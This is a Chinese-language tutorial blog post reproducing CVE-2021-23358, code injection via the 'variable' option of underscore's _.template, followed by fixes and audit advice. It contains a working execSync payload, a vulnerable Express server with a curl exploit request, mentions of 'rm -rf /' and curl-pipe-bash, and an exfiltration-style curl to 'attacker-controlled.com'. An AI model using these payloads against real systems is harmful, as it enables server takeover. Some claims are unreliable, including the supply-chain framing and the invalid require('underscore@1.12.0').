1. 项目概述:一次对Node.js依赖混淆漏洞的深度剖析

最近在整理内部项目的安全审计报告时,我又一次遇到了那个熟悉的名字:CVE-2021-23358。这可不是一个普通的漏洞,它是一个典型的“供应链攻击”案例,影响范围极广,波及了无数使用 underscore lodash 这两个JavaScript工具库的项目。简单来说,这个漏洞允许攻击者通过精心构造的输入,在特定条件下执行任意代码。对于任何一个依赖Node.js生态的前后端开发者,理解这个漏洞的原理、复现过程以及修复方案,都是构建安全防线的基本功。今天,我就以一个安全研究者和开发者的双重身份,带大家从头到尾“盘”一遍CVE-2021-23358,不仅告诉你它是什么,更带你亲手把它“造”出来,再把它“堵”上。无论你是刚入门的安全爱好者,还是想加固自己项目的老手,这篇从实战出发的复现指南,都能给你带来直接的收获。

2. 漏洞核心原理与影响范围解析

2.1 漏洞的根源: template 函数的“特性”

CVE-2021-23358的根源,在于 underscore (<=1.12.0)和 lodash (<=4.17.20)库中一个非常常用的函数: _.template 。这个函数的作用是将一个字符串模板编译成一个可执行的JavaScript函数,常用于动态生成HTML或文本。听起来很强大,对吧?问题就出在它的实现机制上。

_.template 函数在编译模板时,默认使用JavaScript的 with 语句和 new Function() 构造函数。 with 语句会扩展作用域链,而 new Function() 则可以从字符串动态创建函数。当用户能够控制传入 _.template 的模板字符串时,就埋下了隐患。更具体地说,漏洞存在于模板的“变量设置”选项( variable )中。如果攻击者能够控制传入 _.template 的第二个参数(即设置选项),并恶意设置 variable 字段的值,就可能绕过沙箱限制,访问到全局对象(如 constructor ),进而执行任意代码。

举个例子,正常的用法是这样的:

const _ = require('underscore');
const compiled = _.template('hello <%= user %>!');
console.log(compiled({user: 'world'})); // 输出:hello world!

在这里,模板和数据都是开发者可控的。但在某些场景下,模板字符串或选项可能来自不可信的用户输入(比如从URL参数、请求头或数据库字段中读取),危险就产生了。

2.2 影响范围:为何说它是个“大麻烦”

这个漏洞的影响之所以被评定为“高危”,主要基于以下几点:

  1. 依赖的普遍性 underscore lodash 是Node.js和前端领域几乎像“空气和水”一样的基础工具库。无数知名项目(包括许多框架和大型应用)都直接或间接依赖它们。通过npm的依赖树分析,受影响的潜在项目数量可能达到数百万级别。
  2. 触发场景的隐蔽性 :漏洞触发需要满足“用户输入可控地传入 _.template 的选项参数”这一条件。这并非一个常见的显式API调用模式,更多可能出现在一些深层逻辑、通用工具函数或第三方模块中。安全审计时很容易遗漏这种间接的、条件式的漏洞点。
  3. 后果的严重性 :成功利用可导致远程代码执行(RCE)。这意味着攻击者可以在你的服务器上运行任意命令,窃取数据、植入后门、破坏服务,造成灾难性后果。

从网络信息看,这个漏洞在2021年初被披露,相关修复版本( underscore@1.12.1 , lodash@4.17.21 )迅速发布。但直到今天,我们仍然能在一些老旧项目或未及时更新依赖的项目中发现它的踪迹。复现它,就是为了深刻理解其威胁,从而在自己的代码中彻底杜绝此类模式。

3. 复现环境搭建与漏洞代码分析

3.1 搭建一个安全的复现实验室

在动手复现之前,我们必须在一个隔离、安全的环境中进行。我强烈建议使用虚拟机或Docker容器。这里我使用一个干净的Ubuntu Docker容器作为演示。

首先,我们创建一个有漏洞的 underscore 环境:

# 创建一个项目目录
mkdir cve-2021-23358-demo && cd cve-2021-23358-demo
# 初始化npm项目
npm init -y
# 故意安装有漏洞的underscore版本
npm install underscore@1.12.0

接下来,我们创建一个简单的漏洞演示脚本 vuln_demo.js 。为了更真实地模拟漏洞场景,我们假设有一个“配置中心”函数,它从某个来源(如数据库、环境变量)读取模板配置,然后使用 _.template 来渲染内容。而这个“配置”可能被恶意篡改。

// vuln_demo.js
const _ = require('underscore');

// 模拟一个不安全的配置加载函数(例如,从数据库读取用户提交的模板配置)
function loadTemplateConfig(userInput) {
    // 这里模拟一个常见的错误:将用户输入的部分数据直接作为template的options
    // 假设我们从数据库里读出了一个配置对象,其中template是模板字符串,settings是选项
    // 而settings.variable可能来自不可信的用户输入
    const configFromDB = {
        template: 'Hello, <%= name %>!',
        settings: userInput.settings // 危险!用户可能控制了settings
    };
    return configFromDB;
}

// 一个“通用”的模板渲染函数,在很多工具类代码中常见
function renderTemplate(templateString, options) {
    // 关键的危险调用:如果options.variable被恶意控制
    const compiledTemplate = _.template(templateString, options);
    return compiledTemplate;
}

// 模拟正常请求
console.log("[+] 正常请求模拟:");
const normalUserInput = {
    settings: { variable: 'data' } // 正常的variable设置
};
const normalConfig = loadTemplateConfig(normalUserInput);
const normalRender = renderTemplate(normalConfig.template, normalConfig.settings);
console.log(normalRender({ name: 'Alice' })); // 输出: Hello, Alice!

// 模拟恶意攻击请求
console.log("\n[!] 恶意攻击请求模拟:");
const maliciousUserInput = {
    settings: {
        variable: ');}(this.process.mainModule.require("child_process").execSync("touch /tmp/hacked"))//'
    }
};
console.log("恶意注入的settings.variable:", maliciousUserInput.settings.variable);
const maliciousConfig = loadTemplateConfig(maliciousUserInput);

try {
    console.log("尝试编译恶意模板...");
    const maliciousRender = renderTemplate(maliciousConfig.template, maliciousConfig.settings);
    // 即使不调用渲染函数,在编译阶段就可能触发漏洞(取决于版本和环境)
    console.log("如果看到这行,说明编译可能未立即执行代码。但恶意代码已潜入编译后的函数体。");
    // 尝试调用,触发命令执行
    console.log("调用渲染函数,触发RCE...");
    maliciousRender({ name: 'Bob' });
} catch (err) {
    console.error("执行出错(可能是命令执行触发的正常现象):", err.message);
}

3.2 深入漏洞代码:看看 _.template 做了什么

要真正理解漏洞,我们需要看一眼有漏洞版本的 underscore 源码。关键部分在 template 函数的实现中,它会根据 options.variable 的值来拼接生成最终函数的字符串。

简化版的危险逻辑如下:

// 类似有漏洞的源码逻辑(非逐字对应)
_.template = function(text, settings) {
    // ... 参数合并 ...
    var settings = _.defaults({}, settings, _.templateSettings);
    // ... 编译模板生成函数体字符串 ...
    var source = "var " + settings.variable + " = obj;\n" + // 这里直接拼接了variable
                  "try {\n" +
                  generatedBody + // 模板主体
                  "\n} catch(e) { ... }";
    // 使用new Function构造函数
    var render = new Function(settings.variable || 'obj', '_', source); // 这里也使用了variable
    // ...
};

攻击者的payload被拼接进了 source 字符串。当 new Function 执行时,这段字符串会被解析为JavaScript代码。精心构造的payload可以提前闭合变量声明语句,并注入任意JavaScript代码。上面示例中的payload:

);}(this.process.mainModule.require("child_process").execSync("touch /tmp/hacked"))//

它的作用就是:

  1. ); 闭合前面的 var 语句。
  2. } 闭合前面的代码块。
  3. (this.process.mainModule.require("child_process").execSync("touch /tmp/hacked")) 执行系统命令,在 /tmp 目录下创建一个名为 hacked 的文件。
  4. // 注释掉后面所有源码,避免语法错误。

实操心得 :在分析这类代码注入漏洞时,一个关键的技巧是把自己想象成JavaScript解析器。你需要仔细追踪用户输入是如何被拼接进最终可执行代码字符串的。任何未经严格过滤的字符串拼接点,都可能是突破口。对于 _.template ,这个点就是 settings.variable

4. 完整漏洞复现与利用过程演示

4.1 步骤一:准备并运行漏洞代码

在准备好的Docker容器或隔离虚拟机中,运行我们刚才创建的脚本:

node vuln_demo.js

你可能会看到类似以下的输出:

[+] 正常请求模拟:
Hello, Alice!

[!] 恶意攻击请求模拟:
恶意注入的settings.variable: );}(this.process.mainModule.require("child_process").execSync("touch /tmp/hacked"))//
尝试编译恶意模板...
如果看到这行,说明编译可能未立即执行代码。但恶意代码已潜入编译后的函数体。
调用渲染函数,触发RCE...

此时,立即检查 /tmp 目录:

ls -la /tmp/hacked

如果文件被成功创建,那么恭喜你,远程代码执行(RCE)已经成功复现!这意味着攻击者可以通过这个漏洞在你的服务器上执行 touch 命令,同样也可以执行 rm -rf / curl恶意地址 | bash 等破坏性命令。

4.2 步骤二:构造一个更真实的Web应用场景

为了加深理解,我们模拟一个更常见的Web应用漏洞场景。假设有一个用户自定义欢迎消息的功能,后端使用 _.template 来渲染消息。

创建一个简单的Express应用 server.js

const express = require('express');
const _ = require('underscore@1.12.0'); // 使用有漏洞版本
const app = express();
app.use(express.json());

// 一个存储用户自定义模板的“数据库”(简化版)
let userTemplates = {};

// 路由1:用户提交自定义模板配置(存在漏洞的端点)
app.post('/api/template', (req, res) => {
    const { userId, template, settings } = req.body;
    // 危险操作:未经验证,直接将用户传入的settings存储起来
    userTemplates[userId] = { template, settings };
    res.json({ message: 'Template saved!' });
});

// 路由2:渲染用户模板(触发漏洞的端点)
app.get('/api/welcome/:userId', (req, res) => {
    const config = userTemplates[req.params.userId];
    if (!config) {
        return res.status(404).send('Template not found');
    }
    // 高危操作:使用用户控制的settings调用_.template
    try {
        const compiled = _.template(config.template, config.settings);
        const data = { name: 'User' }; // 模拟模板数据
        const result = compiled(data);
        res.send(result);
    } catch (err) {
        res.status(500).send('Render error: ' + err.message);
    }
});

app.listen(3000, () => console.log('Vulnerable server listening on port 3000'));

安装依赖并运行:

npm install express underscore@1.12.0
node server.js

现在,攻击者可以发送一个恶意的POST请求来植入payload:

curl -X POST http://localhost:3000/api/template \
  -H "Content-Type: application/json" \
  -d '{
    "userId": "attacker",
    "template": "Hello, <%= name %>",
    "settings": {
        "variable": ");}(this.process.mainModule.require(\"child_process\").execSync(\"calc.exe\"))//"
    }
  }'

(注意: calc.exe 适用于Windows演示,Linux下可换成 touch /tmp/pwned

然后,当任何人(包括其他用户或系统任务)访问 /api/welcome/attacker 时,恶意代码就会被执行。在Web场景下,这通常意味着攻击者可以劫持服务器。

注意事项 :在实际复现中,由于Node.js版本和环境的差异,payload可能需要调整。例如,在较新的Node.js中, this 的指向可能不是全局对象,或者 process.mainModule.require 的访问方式有所变化。攻击者会根据目标环境进行探测和调整,这正是漏洞利用框架(如Metasploit)中exp模块所做的工作。我们的复现旨在理解原理,payload需要根据实际情况微调。

5. 漏洞修复方案与安全编码实践

5.1 官方修复方案分析

underscore lodash 官方修复此漏洞的方式非常直接: 禁止用户控制 variable 选项

在修复版本( underscore@1.12.1 )中, template 函数内部加强了对 settings.variable 的校验。它不再简单地信任传入的 variable 值,而是会检查其是否是一个合法的标识符(identifier)。如果 variable 包含任何非法的字符(如括号、分号等用于代码注入的字符),函数会提前抛出错误,而不是将其拼接到代码字符串中。

修复的核心逻辑是使用一个正则表达式来验证 variable 的合法性:

// 近似修复逻辑
var variable = settings.variable;
if (variable) {
    // 检查variable是否是合法的JS标识符
    if (!/^[a-zA-Z_$][0-9a-zA-Z_$]*$/.test(variable)) {
        throw new Error('variable is not a valid identifier');
    }
}

因此,最根本、最有效的修复方法就是: 立即升级你的依赖

# 升级underscore
npm install underscore@latest
# 或升级lodash
npm install lodash@latest

对于无法立即升级的遗留系统,可以考虑使用npm的 resolutions 字段(如果使用yarn或npm-force-resolutions)强制指定子依赖的版本,或者寻找替代的、安全的模板渲染方案。

5.2 防御性编码:如何避免引入此类漏洞

升级库是治标,建立安全编码意识才是治本。从CVE-2021-23358中,我们可以总结出几条关键的安全实践:

  1. 永远不要信任用户输入 :这是安全领域的金科玉律。任何来自客户端、外部API、数据库(如果数据可能由用户生成)的输入,在用于控制代码行为(如变量名、函数名、对象属性访问路径)时,都必须经过严格的白名单验证。对于 _.template variable 选项,最佳实践是 永远不要从外部传入 ,而是在代码内部写死一个安全的标识符。

  2. 使用更安全的替代方案 :对于模板渲染需求,考虑使用设计上更安全的模板引擎。

    • EJS Pug (Jade):它们虽然功能强大,但如果允许用户输入模板内容,同样存在代码执行风险,需要谨慎配置(如禁用 compileDebug ,不使用 eval )。
    • Handlebars Mustache :这类逻辑-less(logic-less)或弱逻辑的模板引擎通常更安全,因为它们的设计目标就是严格分离视图和逻辑,不允许在模板中执行任意JavaScript。
    • DOMPurify + 客户端渲染 :对于需要处理用户输入HTML的场景,永远在服务端使用像DOMPurify这样的库进行净化,避免XSS。
  3. 实施深度防御

    • 代码审计 :定期使用SAST(静态应用安全测试)工具扫描代码,查找 new Function() eval() setTimeout(codeString) 等危险函数的调用,以及用户输入到这些函数参数的流动路径。
    • 依赖管理 :使用 npm audit yarn audit 定期检查项目依赖中的已知漏洞。将CI/CD流程与漏洞扫描集成,发现高危漏洞自动阻断发布。
    • 最小权限原则 :运行Node.js应用的服务,应使用非root权限的专用用户。这可以在即使发生RCE时,限制攻击者能造成的破坏范围。
  4. _.template 的安全使用守则

    • 规则一 :只将完全可信的、由开发者编写的字符串作为第一个参数(模板字符串)。绝对不要让用户控制模板结构。
    • 规则二 :永远不要将任何用户可控的数据作为第二个参数( settings )传入,特别是 variable 字段。如果需要自定义变量名,应在代码中硬编码。
    • 规则三 :考虑禁用 _.templateSettings 中的危险特性。例如,可以设置 _.templateSettings = { variable: 'data' } 来固定变量名,并避免使用 with 语句(但 underscore 内部可能难以完全禁用)。

6. 常见问题与排查技巧实录

在复现和研究CVE-2021-23358的过程中,我遇到了不少坑,也总结了一些排查技巧。

6.1 复现失败的可能原因与排查

问题现象 可能原因 排查与解决思路
运行PoC脚本后, /tmp/hacked 文件未创建。 1. Node.js版本过高 :新版本Node.js的全局对象 this 指向可能变化,或安全限制增强。
2. Payload构造问题 :Payload与当前环境不兼容(如Windows/Linux命令差异)。
3. 漏洞触发条件不满足 :某些情况下,恶意代码仅在编译后的函数被 调用 时才执行,而非编译时。
1. 检查Node.js版本,尝试在 v14.x v16.x 等老版本中复现。
2. 修改Payload,将 touch /tmp/hacked 改为简单的 console.log('PWNED!') ,看是否有输出,先验证代码注入是否成功。
3. 确保在脚本中调用了编译后的函数 maliciousRender({})
错误信息: variable is not a valid identifier 使用的 underscore lodash 版本已经是修复后的安全版本。 运行 npm list underscore npm list lodash 确认库版本。确保安装的是 underscore@1.12.0 lodash@4.17.20 及以下版本。
Web服务器示例中,访问端点后无反应,命令未执行。 1. Payload命令执行无回显 touch 命令静默执行,需要检查文件是否创建。
2. 服务器运行权限不足 :运行Node进程的用户没有在 /tmp 创建文件的权限。
3. 杀毒软件或安全软件拦截 (特别是在Windows上)。
1. 使用有回显的命令,如Linux下用 curl http://attacker-controlled.com/$(whoami) (在可控测试环境),或写入一个日志文件。
2. 检查服务器进程用户权限,或尝试在用户家目录下创建文件。
3. 在测试环境中临时禁用相关安全软件。

6.2 在企业项目中排查此类漏洞

对于一个大中型项目,如何系统性地排查是否存在CVE-2021-23358或类似漏洞?

  1. 依赖扫描 :这是第一步,也是最快的一步。使用 npm audit 或集成Snyk、WhiteSource等工具到你的CI流水线。它们能直接告诉你项目依赖树中是否存在已知的有漏洞版本。

  2. 代码全局搜索 :在代码库中搜索以下模式:

    # 搜索underscore的template调用
    grep -r "\.template(" --include="*.js" --include="*.ts" .
    # 搜索lodash的template调用(注意lodash的引入方式多样)
    grep -r "_.template\|lodash.template" --include="*.js" --include="*.ts" .
    
  3. 人工审计调用点 :对于搜索到的每一个 _.template 调用点,进行人工审查。重点关注:

    • 第一个参数(模板字符串):是否可能包含来自用户输入、数据库、API响应的内容?
    • 第二个参数(options) :这是关键!检查 options 对象,特别是 options.variable 的值来源。它是否直接或间接来自 req.body req.query req.headers 、环境变量或数据库字段?如果是,这里就存在高风险。
  4. 数据流分析 :对于可疑的调用点,尝试进行数据流追踪。从最外部的用户输入点(如HTTP请求参数)开始,看数据是否经过净化,最终是否流入了 _.template options.variable 。如果没有明确的过滤或硬编码,就需要标记为漏洞。

一个实用的排查技巧 :在开发或测试环境中,可以临时“猴子补丁”(monkey-patch) _.template 函数,加入日志记录,追踪每次调用的参数来源。

const _ = require('underscore');
const originalTemplate = _.template;
_.template = function(text, settings) {
    console.warn('[SECURITY AUDIT] _.template called:');
    console.warn('  Text source sample:', text.substring(0, 100));
    console.warn('  Settings:', JSON.stringify(settings));
    // 可以在这里加入堆栈跟踪,看是谁调用的
    console.trace();
    return originalTemplate.call(this, text, settings);
};

将这段代码放在应用启动的入口处,运行测试用例或模拟用户请求,观察输出,能快速定位所有动态调用点。

6.3 关于漏洞修复的决策权衡

有时候,升级一个底层依赖并非易事,尤其是当它可能引起破坏性变更时。面对CVE-2021-23358,你需要做决策:

  • 立即升级 :如果测试充分,升级是首选。修复版本只增加了安全校验,通常不会影响正常功能。
  • 使用Resolutions锁定 :如果漏洞存在于子依赖中(比如你的项目依赖A,A依赖有漏洞的 underscore ),而A尚未更新,可以在 package.json 中使用 resolutions 字段强制指定 underscore 的版本(需要yarn或npm-force-resolutions)。
  • 临时本地补丁 :在极端无法升级的情况下,可以复制一份修复后的 template 函数源码,在项目启动时覆盖全局的 _.template 。但这只是应急措施,维护成本高。
  • 替换库 :评估是否可以用更安全的 lodash.template (如果它已修复)或其他模板引擎完全替代 underscore 中的模板功能。

最后,记住漏洞复现的目的不是为了攻击,而是为了建立更深刻的防御意识。通过亲手触发一次RCE,你会对“用户输入不可信”这条原则有刻骨铭心的认识。在之后的编码中,每当你要将一段字符串交给 eval new Function setTimeout 或者像 _.template 这样的函数时,你的大脑里就应该自动响起警报。这才是安全研究和漏洞复现带给开发者最宝贵的财富。

更多推荐